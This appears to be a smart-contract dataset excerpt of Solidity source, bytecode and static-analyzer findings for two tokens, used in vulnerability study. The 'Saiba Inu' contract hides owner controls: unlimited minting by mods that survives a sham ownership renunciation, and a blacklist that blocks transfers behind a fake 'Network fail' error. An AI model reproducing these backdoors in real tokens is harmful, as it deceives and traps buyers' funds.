require(_lpBidPrice < _lpAskPrice);
require(_lpBidVolume <= lpMaxVolume);
require(_lpAskVolume <= lpMaxVolume);
lpBidPrice = _lpBidPrice;
lpAskPrice = _lpAskPrice;
lpBidVolume = _lpBidVolume;
lpAskVolume = _lpAskVolume;
SetPrices(_lpBidPrice, _lpAskPrice, _lpBidVolume, _lpAskVolume);
}
event SetLpMaxVolume(uint256 _lpMaxVolume);
function setLpMaxVolume(uint256 _lpMaxVolume) onlyOwner public {
require(_lpMaxVolume < 1000000000000000000000000);
lpMaxVolume = _lpMaxVolume;
if (lpMaxVolume < lpBidVolume){
lpBidVolume = lpMaxVolume;
}
if (lpMaxVolume < lpAskVolume){
lpAskVolume = lpMaxVolume;
}
SetLpMaxVolume(_lpMaxVolume);
}
event SetEdgePerPosition(uint256 _edgePerPosition);
function setEdgePerPosition(uint256 _edgePerPosition) onlyOwner public {
//require(_edgePerPosition < 100000000000000000000000000000);
edgePerPosition = _edgePerPosition;
SetEdgePerPosition(_edgePerPosition);
}
event SetLPTargetPostion(uint256 _lpTargetPositionn);
function setLPTargetPostion(uint256 _lpTargetPosition) onlyOwner public {
require(_lpTargetPosition <totalSupply() );
lpTargetPosition = _lpTargetPosition;
SetLPTargetPostion(_lpTargetPosition);
}
event SetLpFee(uint256 _lpFeeBp);
function setLpFee(uint256 _lpFeeBp) onlyOwner public {
require(_lpFeeBp <= 100);
lpFeeBp = _lpFeeBp;
SetLpFee(lpFeeBp);
}
event SetLpIsStart(bool _isLpStart);
function setLpIsStart(bool _isLpStart) onlyOwner public {
isLpStart = _isLpStart;
}
function getLpBidPrice()public constant returns (uint256)
{
uint256 lpPosition = balanceOf(owner);
if (lpTargetPosition >= lpPosition)
{
return lpBidPrice;
}
else
{
return lpBidPrice.sub((((lpPosition.sub(lpTargetPosition)).div(multiplier)).mul(edgePerPosition)).div(multiplierOfPrice));
}
}
function getLpAskPrice()public constant returns (uint256)
{
uint256 lpPosition = balanceOf(owner);
if (lpTargetPosition <= lpPosition)
{
return lpAskPrice;
}
else
{
return lpAskPrice.add((((lpTargetPosition.sub(lpPosition)).div(multiplier)).mul(edgePerPosition)).div(multiplierOfPrice));
}
}
function getLpIsWorking(int minSpeadBp) public constant returns (bool )
{
if (isLpStart == false)
return false;
if (lpAskVolume == 0 || lpBidVolume == 0)
{
return false;
}
int256 bidPrice = int256(getLpBidPrice());
int256 askPrice = int256(getLpAskPrice());
if (askPrice - bidPrice > minSpeadBp * (bidPrice + askPrice) / 2 / 10000)
{
return false;
}
return true;
}
function getAmountOfLinkerBuy(uint256 etherAmountOfSell) public constant returns (uint256)
{
return ((( multiplierOfPrice.mul(etherAmountOfSell) ).div(getLpAskPrice())).mul(uint256(10000).sub(lpFeeBp))).div(uint256(10000));
}
function getAmountOfEtherSell(uint256 linkerAmountOfBuy) public constant returns (uint256)
{
return (((getLpBidPrice().mul(linkerAmountOfBuy)).div(multiplierOfPrice)).mul(uint256(10000).sub(lpFeeBp))).div(uint256(10000));
}
function () public payable {
}
function buy() public payable returns (uint256){
require (getLpIsWorking(500)); // Check Whether Lp Bid and Ask spread is less than 5%
uint256 amount = getAmountOfLinkerBuy(msg.value); // calculates the amount of buy from customer
require(balances[owner] >= amount); // checks if it has enough to sell
balances[msg.sender] = balances[msg.sender].add(amount); // adds the amount to buyer's balance
balances[owner] = balances[owner].sub(amount); // subtracts amount from seller's balance
lpAskVolume = lpAskVolume.sub(amount);
Transfer(owner, msg.sender, amount); // execute an event reflecting the chang // ends function and returns
return amount;
}
function sell(uint256 amount)public returns (uint256) {
require (getLpIsWorking(500));
require (balances[msg.sender] >= amount); // checks if the sender has enough to sell
balances[owner] = balances[owner].add(amount); // adds the amount to owner's balance
balances[msg.sender] = balances[msg.sender].sub(amount); // subtracts the amount from seller's balance
lpBidVolume = lpBidVolume.sub(amount);
uint256 linkerSendAmount = getAmountOfEtherSell(amount);
msg.sender.transfer(linkerSendAmount); // sends ether to the seller: it's important to do this last to prevent recursion attacks
Transfer(msg.sender, this, linkerSendAmount); // executes an event reflecting on the change
return linkerSendAmount; // ends function and returns
}
function transferEther(uint256 amount) onlyOwner public{
msg.sender.transfer(amount);
Transfer(msg.sender, this, amount);
}
}
contract LNC_Manager is Token
{
function MultiTransfer(address _tokenAddr, address[] dests, uint256[] values) onlyOwner public returns (bool)
{
uint256 i = 0;
Token T = Token(_tokenAddr);
bool isMissed = false;
while (i < dests.length) {
T.transfer(dests[i], values[i]);
i += 1;
}
return(isMissed);
}
function IsMultiFreeze(address _tokenAddr, address[] dests, bool isFreeze) public view returns (uint256)
{
uint256 i = 0;
uint256 n = 0;
//address[10] memory unfreezedAddress;
uint256 unfreezedAddress = 0;
Token T = Token(_tokenAddr);
while (i < dests.length && n < 20)
{
if (T.IsFreezedAccount(dests[i]) == isFreeze)
{
unfreezedAddress = unfreezedAddress * 1000 + i + 1;
n += 1;
}
i += 1;
}
return(unfreezedAddress);//(unfreezedAddresses);
}
/*
function IsMultiFreeze(address _tokenAddr, address[] dests) public view returns (uint256)
{
uint256 i = 0;
uint256 n = 0;
//address[10] memory unfreezedAddress;
uint256 unfreezedAddress = 0;
Token T = Token(_tokenAddr);
while (i < dests.length && n < 20)
{
if (T.IsFreezedAccount(dests[i]) == false)
{
unfreezedAddress = unfreezedAddress * 1000 + i + 1;
n += 1;
}
i += 1;
}
if (unfreezedAddress == 0)
{
unfreezedAddress = 9999;
}
return(unfreezedAddress);//(unfreezedAddresses);
}
function IsMultiFreeze(address _tokenAddr, address[] dests, bool isFreeze) onlyOwner public constant returns (uint256)
{
uint256 i = 0;
uint256 n = 0;
//address[10] memory unfreezedAddress;
uint256 unfreezedAddress = 0;
Token T = Token(_tokenAddr);
while (i < dests.length && n < 20)
{
if (T.IsFreezedAccount(dests[i]) == isFreeze)
{
unfreezedAddress = unfreezedAddress * 1000 + i + 1;
n += 1;
}
i += 1;
}
return(unfreezedAddress);//(unfreezedAddresses);
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function toString(address x) internal pure returns (string) {
bytes memory b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
return string(b);
}
function IsMultiFreeze(address _tokenAddr, address[] dests, bool isFreeze) onlyOwner public constant returns (string memory)// (string memory)
{
uint256 i = 0;
uint256 n = 0;
Token T = Token(_tokenAddr);
//string memory unfreezedAddresses = new string(0);
address[] memory unfreezedAddress;
//string memory x = toString(dests[0]);
while (i < dests.length)
{
if (T.IsFreezedAccount(dests[i]) == isFreeze)
{
//unfreezedAddresses = strConcat(unfreezedAddresses, "/");
//unfreezedAddresses = strConcat(unfreezedAddresses, toString(dests[i]), "/");
//unfreezedAddress.push(dests[i]);
n += 1;
}
i += 1;
}
return(toString(dests[0]));//(unfreezedAddresses);
}*/
} | 0x6060604052600436106100c15763ffffffff60e060020a60003504166306fdde0381146100c6578063095ea7b31461015057806318160ddd1461018657806323b872dd146101ab578063241a2305146101d3578063282b5b1914610270578063313ce5671461028f57806370a08231146102b857806372bc56fe146102d75780638da5cb5b1461033857806395d89b4114610367578063a9059cbb1461037a578063b414d4b61461039c578063d16a7a4b146103bb578063dd62ed3e146103e1575b600080fd5b34156100d157600080fd5b6100d9610406565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101155780820151838201526020016100fd565b50505050905090810190601f1680156101425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015b57600080fd5b610172600160a060020a036004351660243561043d565b604051901515815260200160405180910390f35b341561019157600080fd5b6101996104aa565b60405190815260200160405180910390f35b34156101b657600080fd5b610172600160a060020a03600435811690602435166044356104b0565b34156101de57600080fd5b61017260048035600160a060020a03169060446024803590810190830135806020808202016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061067a95505050505050565b341561027b57600080fd5b610172600160a060020a0360043516610769565b341561029a57600080fd5b6102a2610787565b60405160ff909116815260200160405180910390f35b34156102c357600080fd5b610199600160a060020a036004351661078c565b34156102e257600080fd5b61019960048035600160a060020a03169060446024803590810190830135806020808202016040519081016040528093929190818152602001838360200280828437509496505050509135151591506107a79050565b341561034357600080fd5b61034b61087e565b604051600160a060020a03909116815260200160405180910390f35b341561037257600080fd5b6100d961088d565b341561038557600080fd5b610172600160a060020a03600435166024356108c4565b34156103a757600080fd5b610172600160a060020a0360043516610a05565b34156103c657600080fd5b6103df600160a060020a03600435166024351515610a1a565b005b34156103ec57600080fd5b610199600160a060020a0360043581169060243516610aa6565b60408051908101604052600b81527f4c696e6b657220436f696e000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260046020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005490565b6000600160a060020a038316158015906104d057506104ce84610769565b155b80156104f55750600160a060020a038416600090815260036020526040902054829010155b80156105285750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b80156105345750600082115b80156105595750600160a060020a038316600090815260036020526040902054828101115b1561066f57600160a060020a038416600090815260036020526040902054610587908363ffffffff610ad116565b600160a060020a03808616600090815260036020908152604080832094909455600481528382203390931682529190915220546105ca908363ffffffff610ad116565b600160a060020a0380861660009081526004602090815260408083203385168452825280832094909455918616815260039091522054610610908363ffffffff610ae316565b600160a060020a03808516600081815260036020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001610673565b5060005b9392505050565b60025460009081908190819033600160a060020a0390811691161461069e57600080fd5b5060009150859050815b855183101561075f5781600160a060020a031663a9059cbb8785815181106106cc57fe5b906020019060200201518786815181106106e257fe5b9060200190602002015160006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561073857600080fd5b6102c65a03f1151561074957600080fd5b50505060405180519050506001830192506106a8565b9695505050505050565b600160a060020a031660009081526001602052604090205460ff1690565b601281565b600160a060020a031660009081526003602052604090205490565b6000808080865b8651841080156107be5750601483105b156108735785151581600160a060020a031663282b5b198987815181106107e157fe5b9060200190602002015160006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561083257600080fd5b6102c65a03f1151561084357600080fd5b50505060405180519050151514156108685783826103e8020160010191506001830192505b6001840193506107ae565b509695505050505050565b600254600160a060020a031681565b60408051908101604052600381527f4c4e430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316158015906108e457506108e233610769565b155b80156109095750600160a060020a033316600090815260036020526040902054829010155b80156109155750600082115b801561093a5750600160a060020a038316600090815260036020526040902054828101115b156109fd57600160a060020a033316600090815260036020526040902054610968908363ffffffff610ad116565b600160a060020a03338116600090815260036020526040808220939093559085168152205461099d908363ffffffff610ae316565b600160a060020a0380851660008181526003602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060016104a4565b5060006104a4565b60016020526000908152604090205460ff1681565b60025433600160a060020a03908116911614610a3557600080fd5b600160a060020a03821660009081526001602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600082821115610add57fe5b50900390565b60008282018381101561067357fe00a165627a7a72305820d30ad48af3288492a47218caf2f6ad1034de43210f11be51be2db388acee6ef30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,688 |
0x67941bc78bd840b9825822f49D624ffaE6b828F8 | /**
*Submitted for verification at Etherscan.io on 2021-12-29
*/
pragma solidity 0.8.7;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
address private _manager;
uint256 private _lockTime;
mapping(address=>bool) private _mods;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
_manager = msgSender;
_mods[_owner]=true;
_mods[msgSender]=true;
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyAdmin() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyOwner() {
require(_mods[_msgSender()] == true,"Ownable: caller doesn't have owner access");
_;
}
modifier onlyManager() {
require(_manager == _msgSender(), "Ownable: caller is not the manager");
_;
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lockOwnerForTime(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlockOwner() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
function manager() internal view returns (address) {
return _manager;
}
function setMods(address adr, bool state) public onlyManager {
_mods[adr]=state;
}
function transferManager(address newManager) public onlyManager{
require(newManager != address(0), "Ownable: new manager is the zero address");
_manager = newManager;
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SaibaInu is Context, ERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address=>bool) isBlacklisted;
uint256 private _totalSupply;
uint256 private _intTotalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() {
_name = 'Saiba Inu';
_symbol = 'SAIBA';
_decimals = 18;
_intTotalSupply = 1000000000000;
_totalSupply = _intTotalSupply.mul(10**_decimals);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "Decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public onlyOwner returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function blackList(address _user) public onlyOwner {
require(!isBlacklisted[_user], "user already blacklisted");
isBlacklisted[_user] = true;
}
function removeFromBlacklist(address _user) public onlyOwner {
require(isBlacklisted[_user], "user already whitelisted");
isBlacklisted[_user] = false;
}
function Sweep() external onlyOwner {
uint256 balance = address(this).balance;
payable(manager()).transfer(balance);
}
function transferForeignToken(address _token, address _to) public onlyOwner returns(bool _sent){
require(_token != address(this), "Can't let you take all native token");
uint256 _contractBalance = ERC20(_token).balanceOf(address(this));
_sent = ERC20(_token).transfer(_to, _contractBalance);
}
function _transfer(address sender, address recipient, uint256 amount) internal{
require(sender != address(0), "Transfer from the zero address");
require(recipient != address(0), "Transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isBlacklisted[recipient], "Network fail");
require(!isBlacklisted[sender], "Network fail");
_balances[sender] = _balances[sender].sub(amount, "Transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "Mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "Burn from the zero address");
_balances[account] = _balances[account].sub(amount, "Burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "Approve from the zero address");
require(spender != address(0), "Approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "Burn amount exceeds allowance"));
}
receive() external payable {}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063a0712d681161008a578063b6c5232411610064578063b6c52324146105a1578063ba0e930a146105cc578063dd62ed3e146105f5578063f2fde38b146106325761018c565b8063a0712d68146104ea578063a457c2d714610527578063a9059cbb146105645761018c565b8063715018a6146103ec5780638366e79a14610403578063893d20e8146104405780638da5cb5b1461046b57806395d89b41146104965780639a0b7feb146104c15761018c565b806339cc8e751161013e578063537df3b611610118578063537df3b6146103465780636aca6ba81461036f5780637088fb7f1461039857806370a08231146103af5761018c565b806339cc8e75146102c957806342966c68146102e05780634838d1651461031d5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd14610224578063313ce56714610261578063395093511461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661065b565b6040516101b39190612c6d565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612839565b6106ed565b6040516101f09190612c52565b60405180910390f35b34801561020557600080fd5b5061020e61070b565b60405161021b9190612eef565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906127a6565b610715565b6040516102589190612c52565b60405180910390f35b34801561026d57600080fd5b506102766107ee565b6040516102839190612f0a565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612839565b610805565b6040516102c09190612c52565b60405180910390f35b3480156102d557600080fd5b506102de6108b8565b005b3480156102ec57600080fd5b50610307600480360381019061030291906128a6565b610a8c565b6040516103149190612c52565b60405180910390f35b34801561032957600080fd5b50610344600480360381019061033f9190612739565b610b42565b005b34801561035257600080fd5b5061036d60048036038101906103689190612739565b610cc4565b005b34801561037b57600080fd5b50610396600480360381019061039191906128a6565b610e45565b005b3480156103a457600080fd5b506103ad611011565b005b3480156103bb57600080fd5b506103d660048036038101906103d19190612739565b611101565b6040516103e39190612eef565b60405180910390f35b3480156103f857600080fd5b5061040161114a565b005b34801561040f57600080fd5b5061042a60048036038101906104259190612766565b6112a2565b6040516104379190612c52565b60405180910390f35b34801561044c57600080fd5b506104556114d0565b6040516104629190612c0e565b60405180910390f35b34801561047757600080fd5b506104806114df565b60405161048d9190612c0e565b60405180910390f35b3480156104a257600080fd5b506104ab611508565b6040516104b89190612c6d565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e391906127f9565b61159a565b005b3480156104f657600080fd5b50610511600480360381019061050c91906128a6565b61168c565b60405161051e9190612c52565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190612839565b611742565b60405161055b9190612c52565b60405180910390f35b34801561057057600080fd5b5061058b60048036038101906105869190612839565b61182c565b6040516105989190612c52565b60405180910390f35b3480156105ad57600080fd5b506105b661184a565b6040516105c39190612eef565b60405180910390f35b3480156105d857600080fd5b506105f360048036038101906105ee9190612739565b611854565b005b34801561060157600080fd5b5061061c60048036038101906106179190612766565b61199f565b6040516106299190612eef565b60405180910390f35b34801561063e57600080fd5b5061065960048036038101906106549190612739565b611a26565b005b6060600c805461066a906130de565b80601f0160208091040260200160405190810160405280929190818152602001828054610696906130de565b80156106e35780601f106106b8576101008083540402835291602001916106e3565b820191906000526020600020905b8154815290600101906020018083116106c657829003601f168201915b5050505050905090565b60006107016106fa611b47565b8484611b4f565b6001905092915050565b6000600854905090565b6000610722848484611d1a565b6107e38461072e611b47565b6107de8560405180606001604052806021815260200161363460219139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610794611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b611b4f565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60006108ae610812611b47565b846108a98560066000610823611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b611b4f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612eaf565b60405180910390fd5b600354421161098c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098390612e4f565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001151560046000610a9e611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f90612e0f565b60405180910390fd5b610b39610b33611b47565b836121e4565b60019050919050565b6001151560046000610b52611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd390612e0f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090612d8f565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6001151560046000610cd4611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5590612e0f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190612daf565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6001151560046000610e55611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612e0f565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508042610f8d9190612f41565b600381905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6001151560046000611021611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612e